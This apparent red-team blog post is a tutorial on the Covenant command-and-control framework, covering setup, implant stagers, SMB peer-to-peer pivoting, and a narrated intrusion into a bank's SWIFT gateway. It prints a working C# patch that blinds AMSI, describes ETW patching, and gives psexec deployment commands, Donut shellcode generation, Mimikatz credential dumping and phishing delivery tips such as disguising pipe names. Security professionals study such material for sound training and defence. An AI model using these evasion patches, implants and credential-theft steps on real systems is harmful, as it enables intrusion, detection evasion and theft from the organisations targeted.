Skip to main content
  1. Posts/

Covenant: Mastering Red Teaming Tactics

··2267 words·11 mins· loading · loading · ·
Table of Contents

Greetings fellow red teamers and pen testers! In today’s increasingly complex security landscape, it’s crucial that we stay updated with the latest tools and techniques in order to keep our skills sharp and to provide the best possible services to our clients. Today, I’m excited to talk about Covenant, a powerful and versatile command and control (C2) framework that has become a game-changer for red teaming and post-exploitation operations.

Note: Covenant is no longer actively maintained, but it remains a valuable tool for learning and for testing in environments where its signatures are not detected.

This article is intended for a technical audience and assumes an intermediate understanding of security and hacking. It will be a deep dive into Covenant, including its architecture, installation, setup, usage, and real-world examples. We’ll also provide code samples and examples of tool execution to help you gain a better understanding of its capabilities. So, buckle up and let’s get started!

Covenant: An Overview
#

Covenant is a .NET-based C2 framework designed to enable red teamers and penetration testers to conduct post-exploitation operations with ease. Developed by Ryan Cobb (@cobbr_io), Covenant boasts a slick web-based interface, advanced features, and excellent support for the .NET runtime, making it particularly well-suited for Windows environments.

Key features of Covenant include:

  • Collaborative multi-user support
  • Modular architecture with a wide range of Grunt tasks
  • Support for dynamic compilation of .NET assemblies
  • Encrypted communication channels
  • Extensible through the development of custom tasks

With these features, Covenant has gained traction in the red teaming and pen testing community and has been used in high-profile engagements, such as the Red Team vs. Blue Team exercise at DEF CON 27.

Covenant Architecture
#

Covenant’s architecture is based on a server-client model, with the Covenant server acting as the C2 and Grunt agents running on compromised systems. Grunt agents communicate with the Covenant server over encrypted channels, typically using HTTP, HTTPS, or a custom TCP protocol. This architecture allows for easy scalability and the ability to manage multiple Grunt agents simultaneously.

At a high level, Covenant’s architecture can be broken down into the following components:

  • Covenant Server: The main C2 server that orchestrates operations, manages Grunt agents, and serves the web-based interface.

  • Grunt Agent: The implant that runs on compromised systems and carries out tasks as directed by the Covenant server.

    Note: This is not to be confused with the Grunt JavaScript task runner.

  • Listener: A component responsible for handling incoming connections from Grunt agents and facilitating communication with the Covenant server.

  • Task: A unit of work that can be executed by a Grunt agent. Tasks can be predefined or custom-developed and are dynamically compiled as .NET assemblies.

Installing and Setting up Covenant
#

To get started with Covenant, you’ll need to install the framework on a system that will act as the C2 server. The installation process isstraightforward, but we’ll walk you through it step by step.

Prerequisites
#

Covenant requires the following prerequisites to be installed on the system:

Installation Steps
#

First, clone the Covenant repository from GitHub:

git clone --recurse-submodules https://github.com/cobbr/Covenant.git

Next, navigate to the Covenant directory and build the project:

cd Covenant/Covenant
dotnet build

Finally, run the Covenant server:

dotnet run

Once the server is running, you can access the web-based interface by navigating to https://localhost:7443 in your browser. The default username is admin, and the default password is password. You should change these credentials upon logging in for the first time.

Creating a Listener
#

Before deploying Grunt agents, you’ll need to set up a listener to handle incoming connections. Covenant supports various listener types, such as HTTP, HTTPS, and TCP. In this example, we’ll create an HTTP listener.

Creating an HTTP Listener
#

To create an HTTP listener, follow these steps:

  1. Log in to the Covenant web interface.
  2. Navigate to the “Listeners” tab on the left-hand side.
  3. Click the “Create” button at the top right corner.
  4. Select “HttpListener” from the “Listener Type” dropdown menu.
  5. Fill in the required fields, such as Name, BindAddress, and Port. You may also configure optional settings like the ConnectAddress, ConnectPort, and URLs for the listener.
  6. Click “Create” to finalize the listener setup.

Once the listener is running, you can see its status in the “Listeners” tab.

Advanced Evasion: Killing the Snitches (AMSI & ETW)
#

Covenant is a .NET framework. Modern Windows security relies heavily on two technologies to catch .NET malware:

  1. AMSI (Antimalware Scan Interface): Scans scripts and assemblies in memory before execution.
  2. ETW (Event Tracing for Windows): Logs .NET assembly loading and method execution telemetry.

To survive, a Grunt must blind these sensors immediately upon loading.

Patching AMSI
#

AMSI works by loading amsi.dll into the process. We can use C# to patch the AmsiScanBuffer function in memory to always return AMSI_RESULT_CLEAN.

// C# AMSI Patch (Conceptual)
// Locate amsi.dll
IntPtr lib = LoadLibrary("amsi.dll");
IntPtr proc = GetProcAddress(lib, "AmsiScanBuffer");

// Patch bytes (x64) - MOV EAX, 80070057; RET
byte[] patch = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };

// Change memory permissions to RWX
VirtualProtect(proc, (UIntPtr)patch.Length, 0x40, out uint oldProtect);

// Write patch
Marshal.Copy(patch, 0, proc, patch.Length);

// Restore permissions
VirtualProtect(proc, (UIntPtr)patch.Length, oldProtect, out uint _);

Patching ETW
#

ETW is harder. It lives in ntdll.dll (EtwEventWrite). We patch it similarly to return success without actually logging anything. Covenant has built-in tasks (BypassAmsi, BlockDlls) to handle this, but understanding the mechanism is crucial when default tasks get flagged.

Generating and Deploying Grunt Agents
#

With a listener in place, you can now generate Grunt agents to deploy on target systems. Covenant allows you to customize the agents, including their communication channels, staging methods, and obfuscation techniques.

Generating a Grunt Agent
#

To generate a Grunt agent, follow these steps:

  1. Log in to the Covenant web interface.
  2. Navigate to the “Grunt Stagers” tab on the left-hand side.
  3. Click the “Create” button at the top right corner.
  4. Select your desired stager type (for example PowerShell, MSBuild, or Regsvr32) and configure the required settings.
  5. Choose the listener you created earlier from the “Listener” dropdown menu.
  6. Click “Create” to generate the Grunt stager.

After generating the Grunt stager, you’ll be presented with a script, binary, or command, depending on the stager type you selected. You can use this output to deploy the Grunt agent on the target system.

Deploying a Grunt Agent
#

There are numerous ways to deploy a Grunt agent on a target system, depending on the stager type and the available attack vectors. For instance, if you generated a PowerShell stager, you could use a spear-phishing email with a malicious macro to execute the PowerShell script on the victim’s machine.

Once the Grunt agent is deployed and executed on the target system, it will establish a connection with your Covenant server via the configured listener. You can then interact with the Grunt agent and perform various post-exploitation tasks.

Lateral Movement: The SMB Grunt (P2P C2)
#

In a secure network, most endpoints cannot talk to the internet. Only specific servers (proxies, mail gateways) can. To control deep internal nodes, we use Peer-to-Peer (P2P) communication over SMB (Named Pipes).

How it Works
#

  1. Grunt A (Gateway): Has internet access. Talks HTTP to Covenant.
  2. Grunt B (Internal): No internet. Talks SMB to Grunt A.
  3. Covenant: Routes traffic for Grunt B through Grunt A.

Configuration
#

  1. Create a Bridge listener on Grunt A.
  2. Generate a Grunt B stager using the SMB Listener profile.
  3. Set the PipeName (default is gruntsvc, but change this to look legit, for example mojo.5688.8052).

Execution
#

From Grunt A: psexec \\TARGET-HOST -u DOMAIN\Admin -p Password -c GruntSMB.exe

Now you have a chain. You can daisy-chain these indefinitely (A -> B -> C -> D), pivoting deep into the network without exposing C2 traffic from internal zones.

Interacting with Grunt Agents After successfully deploying a Grunt agent, you
#

can interact with it through the Covenant web interface to execute tasks, gather information, and pivot to other systems.

Managing Grunt Agents
#

To manage your Grunt agents, follow these steps:

  1. Log in to the Covenant web interface.
  2. Navigate to the “Grunts” tab on the left-hand side.
  3. Click on a Grunt agent to view its details and interact with it.

Executing Tasks
#

To execute a task on a Grunt agent, follow these steps:

  1. Select the desired Grunt agent from the “Grunts” tab.
  2. Click the “Task” button at the top right corner.
  3. Choose a task from the “Task Name” dropdown menu.
  4. Fill in any required parameters for the selected task.
  5. Click “Task” to send the task to the Grunt agent for execution.

You can view the task output in the “Taskings” tab under the Grunt’s details.

Real-World Example: Mimikatz
#

One of the most popular tools for post-exploitation is Mimikatz, which can be used to dump credentials, tickets, and other sensitive information from a compromised system. Covenant includes a built-in Mimikatz task, which allows you to execute Mimikatz commands directly from the Grunt agent.

To run Mimikatz using Covenant, follow these steps:

  1. Select the desired Grunt agent from the “Grunts” tab.
  2. Click the “Task” button at the top right corner.
  3. Choose the “Mimikatz” task from the “Task Name” dropdown menu.
  4. Enter the Mimikatz command you’d like to run in the “Command” field, such as privilege::debug sekurlsa::logonpasswords.
  5. Click “Task” to send the Mimikatz command to the Grunt agent for execution.

The Mimikatz output will be displayed in the “Taskings” tab under the Grunt’s details. You can use this output to gather credentials, tickets, and other valuable information from the compromised system.

The Power of Donut: Executing Shellcode
#

What if you have a native tool (like a custom C++ implant or a specific exploit) that isn’t .NET? You can’t just load it as an assembly. This is where Donut comes in.

Donut converts native binaries (PE, DLL, VBScript) into position-independent shellcode. Covenant has a Shellcode task.

  1. Generate Shellcode: ./donut -i my_exploit.exe -a 2 -o payload.bin
  2. Execute in Covenant:
    • Task: Shellcode
    • File: Upload payload.bin
    • PID: (Optional) Inject into a specific process ID.

This allows you to run any tool within the Grunt’s memory space (or a remote process), bypassing the need for the tool to be written in C#.

Real-World Operation: The Silent Bank Heist
#

To illustrate the power of Covenant, let’s walk through a simulated engagement against a high-security financial network.

Phase 1: The Foothold
#

We sent a phishing email with an HTML smuggling payload. The browser downloaded an ISO file. The user mounted it and clicked a .lnk file.

  • Execution: The LNK executed a hidden PowerShell command.
  • Stager: A Covenant PowerShell stager running in memory.
  • Evasion: The stager used a custom Profile that mimicked jQuery traffic (jquery.min.js), blending in with normal web browsing.

Phase 2: Enumeration and Evasion
#

The Grunt checked in. We immediately ran the Seatbelt task (loaded in memory) to check for EDR.

  • Result: CrowdStrike Falcon was present.
  • Action: We used the BypassAmsi task to patch AMSI. We avoided dropping any binaries to disk.

Phase 3: Lateral Movement (P2P)
#

We found a jump server (JUMP01) accessible via RDP. We needed to move to the secure payment zone, which had no internet access.

  1. We used SharpRDP (another Covenant task) to move laterally to JUMP01.
  2. We deployed an SMB Grunt to JUMP01.
  3. The new Grunt connected back to our initial Grunt over SMB pipe \\JUMP01\pipe\status.
  4. Traffic was routed: JUMP01 (SMB) -> Patient0 (HTTP) -> Covenant Server.

Phase 4: Objective
#

From JUMP01, we could access the SWIFT payment gateway. We used SharpChrome to dump saved browser credentials and SharpSocks to tunnel a browser through the C2 channel, allowing us to log into the payment portal as an administrator.

Developing Custom Tasks
#

Covenant’s modular architecture allows you to develop custom tasks to extend its functionality. Custom tasks are written in C# and must implement the ITask interface.

Writing a “Seatbelt” Wrapper
#

Let’s say you want to run GhostPack’s Seatbelt, but you don’t want to drop the EXE. You can wrap the C# code into a Covenant Task.

  1. Code Structure:
    using System;
    using System.IO;
    using Covenant.Agent.Tasks;
    
    public class Seatbelt : Task
    {
        public string Command { get; set; }
    
        public override string Execute(Tasking tasking)
        {
            // Capture STDOUT
            StringWriter output = new StringWriter();
            Console.SetOut(output);
    
            // Call Seatbelt's Main function
            // (You need to paste the Seatbelt source code here or reference it)
            Seatbelt.Program.Main(this.Command.Split(' '));
    
            return output.ToString();
        }
    }
    
  2. Compilation: Covenant compiles this on the fly. The source code is sent to the Grunt, compiled in memory (using Roslyn), and executed. This avoids dropping artifacts on disk.
  3. Reference Loading: If your task needs external DLLs, you can embed them as “Reference Assemblies” in Covenant, which the Grunt loads from memory.

Conclusion
#

Covenant is a powerful and versatile C2 framework that has become an essential tool for red teaming and post-exploitation operations. Its advanced features, such as dynamic compilation of .NET assemblies, encrypted communication channels, and multi-user support, make it well-suited for conducting sophisticated engagements.

In this article, we’ve provided an in-depth look at Covenant, covering its architecture, installation, setup, usage, and real-world examples. We’ve also discussed how to develop custom tasks to extend its functionality. With this knowledge, you’re now better equipped to leverage Covenant in your red teaming and pen testing activities.

As security professionals, it’s crucial that we continue to hone our skills and stay updated with the latest tools and techniques. I hope this article has been helpful in introducing you to the power of Covenant and inspiring you to explore its capabilities further. Happy hacking!

References
#

UncleSp1d3r
Author
UncleSp1d3r
As a computer security professional, I’m passionate about building secure systems and exploring new technologies to enhance threat detection and response capabilities. My experience with Rails development has enabled me to create efficient and scalable web applications. At the same time, my passion for learning Rust has allowed me to develop more secure and high-performance software. I’m also interested in Nim and love creating custom security tools.